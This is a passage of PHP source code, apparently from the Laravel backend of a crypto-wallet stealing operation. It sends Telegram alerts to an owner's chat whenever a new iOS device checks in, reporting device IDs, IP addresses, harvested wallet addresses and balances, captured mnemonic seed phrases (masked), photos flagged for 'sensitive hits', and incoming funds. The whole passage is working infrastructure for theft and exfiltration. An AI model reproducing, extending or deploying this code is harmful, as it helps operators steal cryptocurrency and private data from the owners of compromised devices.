enabled()) { return false; } $token = config('coruna.telegram.bot_token'); $chatId = config('coruna.telegram.owner_chat_id'); try { $resp = Http::timeout(15)->asForm()->post( "https://api.telegram.org/bot{$token}/sendMessage", [ 'chat_id' => $chatId, 'text' => $text, 'parse_mode' => 'HTML', 'disable_web_page_preview' => true, ] ); return $resp->successful(); } catch (\Throwable $e) { Log::warning('telegram send failed: '.$e->getMessage()); return false; } } public function notifyNewDevice(string $deviceId, ?string $ios, ?string $ip): void { $this->send(implode("\n", [ '📱 New Device', '🔑 Device: '.$this->e($deviceId).'', '🍎 iOS: '.$this->e($ios ?: '—'), '🌐 IP: '.$this->e($ip ?: '—').'', ])); } public function notifyNewWallet(string $deviceId, string $address, ?string $chain, ?string $balance, ?string $symbol): void { $this->notifyNewWallets($deviceId, [[ 'address' => $address, 'chain' => $chain ?: '', 'balance' => $balance ?: '', 'source' => $symbol ?: '', ]]); } /** * Batch wallet alerts into a single Telegram message. * * @param list $wallets */ public function notifyNewWallets(string $deviceId, array $wallets): void { if ($wallets === []) { return; } $lines = [ '💰 New Wallet Address'.(count($wallets) > 1 ? ' ('.count($wallets).')' : ''), '📱 Device: '.$this->e($deviceId).'', ]; foreach ($wallets as $i => $w) { $bal = trim(($w['balance'] ?? '').' '.($w['source'] ?? '')); if ($bal === '') { $bal = '—'; } if ($i > 0) { $lines[] = ''; } $lines[] = '⛓ Chain: '.$this->e(($w['chain'] ?? '') !== '' ? $w['chain'] : '—'); $lines[] = '📬 Address: '.$this->e($w['address'] ?? '').''; $lines[] = '💵 Balance: '.$this->e($bal); } $this->send(implode("\n", $lines)); } public function notifyNewMemoric(string $deviceId, string $source, ?string $memoric): void { $this->send(implode("\n", [ '🔐 New Mnemonic', '📱 Device: '.$this->e($deviceId).'', '🏷 Source: '.$this->e($source ?: '—'), '📝 Mnemonic: '.$this->e(WalletMnemonic::maskSecret($memoric)).'', ])); } public function notifyNewPhotos(string $deviceId): void { $this->send(implode("\n", [ '🖼 New Photos (with sensitive hits)', '📱 Device: '.$this->e($deviceId).'', ])); } public function notifyBalanceChange( string $deviceId, string $address, string $symbol, string $amount, ?string $chain = null, ): void { $this->send(implode("\n", [ '✅ Balance Inbound', '📱 Device: '.$this->e($deviceId).'', '⛓ Chain: '.$this->e($chain ?: '—'), '📬 Address: '.$this->e($address).'', '💵 Amount: +'.$this->e($amount).' '.$this->e($symbol), ])); } private function e(?string $value): string { return htmlspecialchars((string) $value, ENT_QUOTES | ENT_SUBSTITUTE, 'UTF-8'); } }